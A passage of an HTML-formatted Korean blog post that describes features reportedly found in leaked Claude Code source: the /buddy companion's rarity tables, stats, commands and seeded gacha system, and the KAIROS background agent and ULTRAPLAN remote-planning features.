&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Uncommon (언커먼)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;25%&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;★★&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;15&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Rare (레어)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;10%&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;★★★&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Epic (에픽)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;4%&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;★★★★&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; font-weight: bold; color: #b07800;&quot;&gt;Legendary (레전더리)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center; font-weight: bold; color: #b07800;&quot;&gt;1%&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;★★★★★&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;50&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f0ff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; font-weight: bold; color: #7b1fa2;&quot;&gt;Shiny (샤이니)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center; font-weight: bold; color: #7b1fa2;&quot;&gt;별도 1%&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center; color: #888;&quot;&gt;희귀도와 독립&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center; color: #888;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;※ Shiny Legendary = 0.01% (약 1/10,000). Shiny는 희귀도와 완전히 독립적인 별도 판정.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5가지 스탯 (0~100 범위) &amp;mdash; 소스코드 직접 확인&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 0 0 6px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #dce8f5;&quot;&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;스탯&lt;/th&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;DEBUGGING&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;버그 탐지 능력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;PATIENCE&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;에러 루프에도 침착함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;CHAOS&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;혼돈 / 예측불가 성향&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;WISDOM&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;지혜 / 통찰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;SNARK&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;냉소 / 짓궂음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;※ 스탯 생성 방식: Peak stat(특기) = floor+50~100, Dump stat(약점) = 1~15, 나머지 3개 = floor~floor+40 범위에서 결정&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;모자(Hat) 희귀도 게이팅 &amp;mdash; 소스코드 직접 확인&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 0 0 16px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #dce8f5;&quot;&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;모자&lt;/th&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;해금 조건&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;없음 (none)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Common (모자 없음)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;crown (왕관) &amp;middot; tophat (중절모) &amp;middot; propeller (프로펠러)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Uncommon 이상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;halo (후광) &amp;middot; wizard (마법사)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Rare 이상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;beanie (비니)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Epic 이상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; font-weight: bold; color: #b07800;&quot;&gt;tinyduck (꼬마오리 모자)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; font-weight: bold; color: #b07800;&quot;&gt;Legendary 전용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;눈 타입 6종 &amp;mdash; 소스코드 직접 확인&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 18px; line-height: 2; letter-spacing: 6px;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;middot;&amp;nbsp; ✦&amp;nbsp; &amp;times;&amp;nbsp; ◉&amp;nbsp; @&amp;nbsp; &amp;deg;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/buddy 커맨드 전체 목록&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 0 0 6px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #dce8f5;&quot;&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;커맨드&lt;/th&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;동작&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/buddy&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;최초 실행 시 hatch 애니메이션, 이미 있으면 현재 buddy 표시. 4월 1~7일 기간에는 무지개색 효과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/buddy pet&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;하트(&amp;hearts;) 플로팅 애니메이션 2.5초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/buddy card&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;ASCII 스프라이트 + 전체 스탯 + 희귀도 카드 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/buddy mute&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;말풍선 숨기기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/buddy unmute&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;말풍선 다시 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/buddy off&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Buddy 완전 숨김&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;※ buddy 이름(예: &quot;Bellows&quot;)을 대화 중 직접 부르면 Claude와 별개로 말풍선이 반응함. 스프라이트 규격: 5줄 높이 &amp;times; 12자 너비 ASCII, 3개 애니메이션 프레임.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가챠 시스템 구조 (결정론적 PRNG) &amp;mdash; 소스코드 직접 확인&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 0; padding-left: 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;해시 함수: &lt;b&gt;FNV-1a&lt;/b&gt; &amp;mdash; userId + salt을 32비트 시드로 변환&lt;/li&gt;
&lt;li&gt;난수 생성기: &lt;b&gt;Mulberry32&lt;/b&gt; (경량 32비트 PRNG)&lt;/li&gt;
&lt;li&gt;시드 솔트: &lt;code&gt;'friend-2026-401'&lt;/code&gt; (2026-04-01 출시 날짜 암시)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;동일 userId &amp;rarr; 항상 동일한 종/희귀도/외형&lt;/b&gt; (&quot;bones&quot;) 보장 &amp;mdash; 결정론적 재계산&lt;/li&gt;
&lt;li&gt;AI 생성 부분 &quot;soul&quot;(이름, 성격, hatch 날짜)만 config에 1회 저장&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Anti-cheat:&lt;/b&gt; bones는 매 세션 userId로부터 재계산 &amp;rarr; config 파일 수정으로 Legendary 위장 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 15px 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 15px 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;출시 일정 (소스 하드코딩 기준)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;4월 1~7일&lt;/b&gt;: teaser window &amp;mdash; 무지개색 알림으로 &lt;code&gt;/buddy&lt;/code&gt; 입력 유도&lt;/li&gt;
&lt;li&gt;&lt;b&gt;4월 8일 이후&lt;/b&gt;: 커맨드 영구 활성화 예정&lt;/li&gt;
&lt;li&gt;&lt;b&gt;2026년 5월&lt;/b&gt;: full launch 타겟 (내부 주석 기준)&lt;/li&gt;
&lt;li&gt;에이프릴 풀(April Fools) 티저인지 실제 출시 일정인지 현재 미확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 10px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;ex) /buddy 입력시 무지개 색으로 변경된다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1284&quot; data-origin-height=&quot;158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ByFvr/dJMcafe3NLL/ZxKmAIRLqG2H8kNBKaVKuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ByFvr/dJMcafe3NLL/ZxKmAIRLqG2H8kNBKaVKuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ByFvr/dJMcafe3NLL/ZxKmAIRLqG2H8kNBKaVKuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FByFvr%2FdJMcafe3NLL%2FZxKmAIRLqG2H8kNBKaVKuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1284&quot; height=&quot;158&quot; data-origin-width=&quot;1284&quot; data-origin-height=&quot;158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 난 레어???? CHONK&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;936&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cAkDv9/dJMcagSxIm1/FkthmkoK2ArfTb16BBgOVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cAkDv9/dJMcagSxIm1/FkthmkoK2ArfTb16BBgOVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cAkDv9/dJMcagSxIm1/FkthmkoK2ArfTb16BBgOVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcAkDv9%2FdJMcagSxIm1%2FFkthmkoK2ArfTb16BBgOVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;414&quot; height=&quot;484&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;936&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 채팅, status bar 우측에 붙어버렸다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1630&quot; data-origin-height=&quot;242&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GSwlD/dJMcahjDGS9/kXVywT1J2APEbUWQ6lDmh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GSwlD/dJMcahjDGS9/kXVywT1J2APEbUWQ6lDmh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GSwlD/dJMcahjDGS9/kXVywT1J2APEbUWQ6lDmh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGSwlD%2FdJMcahjDGS9%2FkXVywT1J2APEbUWQ6lDmh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1630&quot; height=&quot;242&quot; data-origin-width=&quot;1630&quot; data-origin-height=&quot;242&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- buddy pet 입력&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1652&quot; data-origin-height=&quot;138&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bg7qJI/dJMcagydbWm/Ke05vi6NVwRT7HomeKt6O0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bg7qJI/dJMcagydbWm/Ke05vi6NVwRT7HomeKt6O0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bg7qJI/dJMcagydbWm/Ke05vi6NVwRT7HomeKt6O0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbg7qJI%2FdJMcagydbWm%2FKe05vi6NVwRT7HomeKt6O0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1652&quot; height=&quot;138&quot; data-origin-width=&quot;1652&quot; data-origin-height=&quot;138&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1674&quot; data-origin-height=&quot;368&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/badCE0/dJMcacP8zr2/db9FJBNtINb4yrXxuoahE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/badCE0/dJMcacP8zr2/db9FJBNtINb4yrXxuoahE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/badCE0/dJMcacP8zr2/db9FJBNtINb4yrXxuoahE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbadCE0%2FdJMcacP8zr2%2Fdb9FJBNtINb4yrXxuoahE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1674&quot; height=&quot;368&quot; data-origin-width=&quot;1674&quot; data-origin-height=&quot;368&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;② KAIROS &amp;mdash; 항상 켜져있는 Claude&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSrfGi/dJMcaaY3CJA/U0juCQAZBwFKVReoxnwoq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSrfGi/dJMcaaY3CJA/U0juCQAZBwFKVReoxnwoq1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSrfGi/dJMcaaY3CJA/U0juCQAZBwFKVReoxnwoq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSrfGi%2FdJMcaaY3CJA%2FU0juCQAZBwFKVReoxnwoq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;1068&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;무엇인가:&lt;/b&gt; 사용자가 타이핑하기를 기다리지 않는 지속적 백그라운드 Claude 인스턴스. 활동을 모니터링하고, 일별 append-only 로그를 기록하며, 정기적으로 &lt;code&gt;&amp;lt;tick&amp;gt;&lt;/code&gt; 프롬프트를 받아 &quot;행동할지 조용히 있을지&quot; 결정한다. 사용자 워크플로우를 15초 이상 블로킹하는 모든 선제적 행동은 자동으로 연기된다(15초 블로킹 예산).&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;전용 도구 (일반 Claude Code에서는 사용 불가):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;SendUserFile&lt;/code&gt; &amp;mdash; 사용자에게 파일 직접 전송&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PushNotification&lt;/code&gt; &amp;mdash; 알림 푸시&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SubscribePR&lt;/code&gt; &amp;mdash; PR 이벤트 구독&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SleepTool&lt;/code&gt; &amp;mdash; 지정된 시간 동안 실행 일시 중단 (백그라운드 에이전트 스케줄링 전용)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 10px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;추가 메모리 통합: &lt;b&gt;Dream&lt;/b&gt; 기능(메모리 통합 에이전트)을 내장해 idle 시간에 24시간/5세션 주기로 메모리를 정리한다 &amp;mdash; 필자가 이전에 분석한 &lt;a href=&quot;https://ai-tools-series/forDevelop/claude-code-auto-dream-guide.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Auto Dream&lt;/a&gt; 기능의 실제 내부 구현체가 여기에 있었다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;③ ULTRAPLAN &amp;mdash; 원격 Opus 계획 엔진&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1374&quot; data-origin-height=&quot;1170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zWk30/dJMcacWRZEY/i7LoVRkwqjArq5P7KYPKE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zWk30/dJMcacWRZEY/i7LoVRkwqjArq5P7KYPKE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zWk30/dJMcacWRZEY/i7LoVRkwqjArq5P7KYPKE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzWk30%2FdJMcacWRZEY%2Fi7LoVRkwqjArq5P7KYPKE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;449&quot; height=&quot;382&quot; data-origin-width=&quot;1374&quot; data-origin-height=&quot;1170&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;무엇인가:&lt;/b&gt; 복잡한 계획 작업을 &lt;b&gt;Cloud Container Runtime(CCR)&lt;/b&gt; 세션에서 실행 중인 Opus 4.6에게 위임하는 기능. 최대 30분간 실행 가능하며, 결과가 나오면 로컬 터미널로 &quot;텔레포트&quot;된다. 실행 전 브라우저 기반 승인 워크플로우가 있어, 사용자가 Opus가 제안한 계획을 검토 후 적용 여부를 결정한다. &lt;br /&gt;(출처: &lt;a href=&quot;https://dev.to/evan-dong/claude-codes-entire-source-code-just-leaked-512000-lines-exposed-3139&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DEV.to 분석&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
